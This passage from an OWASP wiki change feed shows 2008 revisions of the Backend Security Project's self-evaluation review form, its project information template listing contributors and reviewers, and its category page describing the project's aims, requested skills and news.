2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| Nothing&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45200</id>
		<title>Project Information:template Backend Security Project - Final Review - Self Evaluation - B</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45200"/>
				<updated>2008-10-30T20:55:48Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Backend Security Project|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|OWASP Backend Security Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45199</id>
		<title>Project Information:template Backend Security Project - Final Review - Self Evaluation - B</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45199"/>
				<updated>2008-10-30T20:55:26Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Backend Security Project|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|OWASP Backend Security Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=45191</id>
		<title>Project Information:template Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=45191"/>
				<updated>2008-10-30T19:17:28Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Project Name'''&lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Backend Security Project''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Project Description''' &lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Email Contacts'''&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Leader&amp;lt;br&amp;gt;[mailto:carlo.pelliccioni(at)gmail.com '''Carlo Pelliccioni''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Contributors&amp;lt;br&amp;gt;[mailto:daniele.bellucci(at)gmail.com '''Daniele Bellucci''']&amp;lt;br&amp;gt;[mailto:esonn(at)gmx.net '''Erik Sonnleitner''']&amp;lt;br&amp;gt;[mailto:francesco.perna(at)gmail.com '''Francesco Perna''']&amp;lt;br&amp;gt;[mailto:overet(at)securitydate.it '''Giuseppe Gottardi''']&amp;lt;br&amp;gt;[mailto:na '''Guido Landi''']&amp;lt;br&amp;gt;[mailto:guido.pederzini(at)gmail.com '''Guido Pederzini''']&amp;lt;br&amp;gt;[mailto:inode(at)mediaservice.net '''Maurizio Agazzini''']&amp;lt;br&amp;gt;[mailto:massimo.biagiotti(at)gmail.com '''Massimo Biagiotti''']&amp;lt;br&amp;gt;[mailto:pderinaldis(at)gmail.com '''Pasquale de Rinaldis''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[https://lists.owasp.org/mailman/listinfo/owasp-backend-security '''Mailing List/Subscribe''']&amp;lt;br&amp;gt;[mailto:owasp-backend-security(at)lists.owasp.org '''Mailing List/Use''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|First Reviewer&amp;lt;br&amp;gt;[mailto:kisero(at)gmail.com '''Esteban Ribičić''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Second Reviewer&amp;lt;br&amp;gt;[mailto:spyroinc(at)gmail.com '''Josh Sweeney''']&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Board Member&amp;lt;br&amp;gt;(if applicable)&amp;lt;br&amp;gt;[mailto:name(at)name '''Name&amp;amp;Email''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT MAIN LINKS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
* [[OWASP Backend Security Project|OWASP Backend Security Project v1.0]]&lt;br /&gt;
* (If appropriate, more links to be added)&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''SPONSORS &amp;amp; GUIDELINES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']] &lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''Sponsored Project/Guidelines/Roadmap''']]&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;5&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|ASSESSMENT AND REVIEW PROCESS&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|'''Review/Reviewer''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Author's Self Evaluation'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further) &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''First Reviewer'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Second Reviewer'''&amp;lt;br&amp;gt;(applicable for Beta Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''OWASP Board Member'''&amp;lt;br&amp;gt;(applicable just for Release Quality) &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''50% Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - Self Evaluation - A|See&amp;amp;Edit:50% Review/Self-Evaluation (A)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - First Reviewer - C|See&amp;amp;Edit: 50% Review/1st Reviewer (C)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project 50 Review Second Review E|See&amp;amp;Edit: 50%Review/2nd Reviewer (E)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Final Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes/No''' (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Season of Code''' - (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Self Evaluation - B|See&amp;amp;Edit: Final Review/SelfEvaluation (B)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes/No''' (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Season of Code''' - (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - First Reviewer - D|See&amp;amp;Edit: Final Review/1st Reviewer (D)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes/No''' (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Season of Code''' - (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Second Reviewer - F|See&amp;amp;Edit: Final Review/2nd Reviewer (F)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=45190</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=45190"/>
				<updated>2008-10-30T19:16:55Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
